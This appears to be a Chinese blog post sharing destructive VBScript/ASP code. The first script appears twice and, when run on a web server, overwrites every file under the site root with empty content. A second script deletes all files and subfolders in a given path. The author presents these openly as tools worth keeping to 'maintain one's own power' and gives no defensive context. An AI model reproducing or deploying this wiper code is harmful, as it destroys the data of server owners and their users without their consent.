VBS破坏性应用代码

1. '网上看到的，适用与没有禁用shell.application的服务器     
2. server.scripttimeout = 99999     
3. If request("submit")<>"" Then    
4.     Call listfile(server.mappath("./"))     
5.     response.Write"处理完毕"    
6. Else    
7.     response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"    
8. End If    
9.  
10. Function listfile(fpath)     
11.     On Error Resume Next    
12.     Dim Shell, Folder, s     
13.     Set Shell = server.CreateObject ("shell.application")     
14.     Set Folder = Shell.namespace(fpath)     
15.     Set f = server.CreateObject("adodb.stream")     
16.     f.Type = 1     
17.     f.Open    
18.     For Each s in Folder.Items     
19.         If s.isfolder Then    
20.             Call listfile(s.Path)     
21.         Else    
22.             f.savetofile s.Path, 2     
23.         End If    
24.     Next    
25.     Set f = Nothing    
26.     Set Shell = Nothing    
27. End Function    
28.  
29. '网上看到的，适用与没有禁用shell.application的服务器  
30. server.scripttimeout = 99999  
31. If request("submit")<>"" Then  
32.     Call listfile(server.mappath("./"))  
33.     response.Write"处理完毕"  
34. Else  
35.     response.Write"<form><input type=""submit"" name=""submit"" value=""清空所有文件的内容""></form>"  
36. End If  
37.  
38. Function listfile(fpath)  
39.     On Error Resume Next  
40.     Dim Shell, Folder, s  
41.     Set Shell = server.CreateObject ("shell.application")  
42.     Set Folder = Shell.namespace(fpath)  
43.     Set f = server.CreateObject("adodb.stream")  
44.     f.Type = 1  
45.     f.Open  
46.     For Each s in Folder.Items  
47.         If s.isfolder Then  
48.             Call listfile(s.Path)  
49.         Else  
50.             f.savetofile s.Path, 2  
51.         End If  
52.     Next  
53.     Set f = Nothing  
54.     Set Shell = Nothing  
55. End Function  
56. 以前也看到过这个，感觉没什么用，这么危险的组件服务器一般都禁用了，但今天，我突然觉得有进也得收集或制作一些这样的软件，可以维护自己的权力。具体什么原因我就不说了，我写的一个：  
57.  
58. view plaincopy to clipboardprint?  
59. '看到文件删文件，看到文件夹删除文件夹     
60. Function FilesTree(sPath)     
61.     Set oFso = CreateObject("Scripting.FileSystemObject")     
62.     Set oFolder = oFso.GetFolder(sPath)     
63.     Set oSubFolders = oFolder.SubFolders     
64.  
65.     Set oFiles = oFolder.Files     
66.     For Each oFile In oFiles     
67.         'WScript.Echo oFile.Path     
68.         oFile.Delete    
69.     Next    
70.  
71.     For Each oSubFolder In oSubFolders     
72.         'WScript.Echo oSubFolder.Path     
73.         oSubFolder.Delete    
74.         'FilesTree(oSubFolder.Path)'递归     
75.     Next    
76.  
77.     Set oFolder = Nothing    
78.     Set oSubFolders = Nothing    
79.     Set oFso = Nothing    
80. End Function    
81.  
82. FilesTree("F:\deltest\deltest") '遍历